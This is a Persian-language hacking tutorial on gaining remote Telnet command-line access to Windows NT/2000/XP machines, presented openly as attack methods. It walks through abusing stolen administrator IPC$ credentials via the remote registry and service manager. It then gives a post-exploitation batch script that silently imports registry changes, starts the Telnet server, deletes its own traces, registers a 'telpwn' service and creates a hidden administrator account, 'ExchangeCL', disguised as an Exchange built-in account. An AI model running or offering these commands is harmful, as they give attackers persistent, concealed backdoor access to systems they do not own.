به نام ایزد یکتا

چگونه خط فرمان Telnet را از راه دور در ویندوز بدست بگیریم؟

(Windows NT/2000/XP)

برای این منظور اولا باید امکان *login* فراهم شود و ثانیا باید *server* راه اندازی گردد.

- فراهم نمودن امکان *login* با تغییر در تنظیمات رجیستری امکانپذیر است. برای اینکار باید مقدار *NTLM* در مسیر *HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0* از ۲ به ۱ تغییر کند.
- سرور هم *Telnet* فایلی به نام *tlntsvr.exe* است که باید راه اندازی شود.

در این مقاله ۲ روش حمله را به تفصیل و با جزئیات کافی تشریح می‌کنم:

الف- حمله از طریق شبکه محلی با استفاده از یک نشست تهی:

برای اینکار لازمه قبلا *usename* و *password* برای یک نشست تهی *IPC* با سطح اختیارات مدیر شبکه بدست آورده باشید. در این روش تنظیمات رجیستری و راه‌اندازی سرویس*Telnet* با اتصال مستقیم به کامپیوتر هدف به صورت زیر انجام می‌شود.

۱- اتصال به *Registry* هدف: ابتدا *start>run>regedit* و بعد *file>connect to remote registry* و *IP* هدف را مشخص کنید.

۲- تغییر تنظیمات: در مسیر *HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0* مقدار کلید *NTLM* را از ۲ به ۱ تغییر بدید تا ورود به سرور *Telnet* امکان پذیر شود. حالا می توانید *Rededit* را ببندید.

۳-*computer management* را اجرا کنید یا با *Right click* روی *My Computer* و یا از *Start>settings>control panel>administrating tools> computer management* بعد گزینه *connect to remote computer* رو انتخاب کرده و *IP* هدف را وارد کنید.

٤- پس از اتصال به کامپیوتر هدف در منوی *services* به دنبال *Telnet* بگردید. با *Right click* گزینه *properties* را انتخاب نمایید. بعد *Automatic startup* را انتخاب کرده و *start* کنید. سپس خواهید دید که سرور *telnet* شروع به کار می‌کند ! حالا *computer management* را ببندید.

۵- گام آخر هم که کاملا مشخص است: از خط فرمان *telnet* کنید ! برای *username* و *password* هم همانهایی را امتحان کنید که *IPC$ session* را بدست گرفتید !

ب- حمله از طریق شبکه اینترنت با استفاده از یک آسیب‌پذیری:

در این سناریو قبلا باید با استفاده از آسیب‌پذیری های مرتبط با ویندوز (مثل آسیب‌پذیری انواع *BufferOverflow* یا *IIS Unicode Bug* و غیره.) به *Shell* دسترسی پیدا کرده باشید. تنظیمات رجیستری و راه‌اندازی سرویس*Telnet* بطور غیر مستقیم و به وسیله یک فایل رجیستری (*.reg*) انجام می‌شود. برای ایجاد این فایل می توان از فرمان *echo* و هدایت خروجی به آن استفاده کرد. برای راه‌اندازی Telnet هم می توان از دستور *net start* بهره جست.

```
@echo REGEDIT4>temp.reg
echo. >>temp.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TlntSvr]>>temp.reg
echo. >>temp.reg
echo "ErrorControl"=dword:00000001>>temp.reg
echo "Start"=dword:00000002>>temp.reg
echo "Type"=dword:00000010>>temp.reg
echo
"FailureActions"=hex:00,00,00,00,00,00,00,00,00,00,00,00,03,00,00,00,38,65,11,00,01,00,00,00,60,ea,00,
00,01,00,00,00,60,ea,00,00,01,00,00,00,60,ea,00,00>>temp.reg
echo. >>temp.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0]>>temp.reg
echo. >>temp.reg
echo "NTLM"=dword:00000001>>temp.reg
echo "TelnetPort"=dword:0000ffff>>temp.reg
regedit /s temp.reg
net start tlntsvr
del temp.reg
del install.cmd
```

عبارت *regedit /s temp.reg* تنظیمات مورد نظر را بدون نشان دادن پنجره اخطار اعمال می کند و عبارت *net start tlntsvr* سرور *Telnet* را راه اندازی می نماید. البته در چنین حالتی ممکن است تغییر سرویس *Telnet* به علت مسایلی چون سطح اختیارات مناسب باشد:

```
Services CREATESVRANY "telpwn" "telnet pwned" "c:\windows\svrany.exe" "c:\windows\system32\tlntsvr.exe"
net start telpwn
```

اکنون می توان به هدف *Telnet* کرد. و اما برای ایجاد یک کاربر جدید با سطح اختیارات مدیر(*Administrator*) نیز مجددا می توان از فایل دستوری استفاده نمود. می‌توان فرمانهای زیر را به فایل قبلی قبل از عبارت *net start tlntsvr* افزود تا اسم کاربری *ExchangeCL* با کلمه عبور*password* با سطح اختیارات مدیرشبکه و همراه با توضیحات اضافی –جهت مهندسی اجتماعی و استتار کاربر- ایجاد شود.

```
net user ExchangeCL password /add
net localgroup administrators ExchangeCL /add
net localgroup administrateurs ExchangeCL /add
net localgroup administratoren ExchangeCL /add
net user ExchangeCL /comment:"Built-in account for Microsoft Exchange Server 2000"
net user ExchangeCL /expires:never
net user ExchangeCL /fullname:"ExchangeCL"
net accounts /MAXPWAGE:UNLIMITED
```

در پناه حق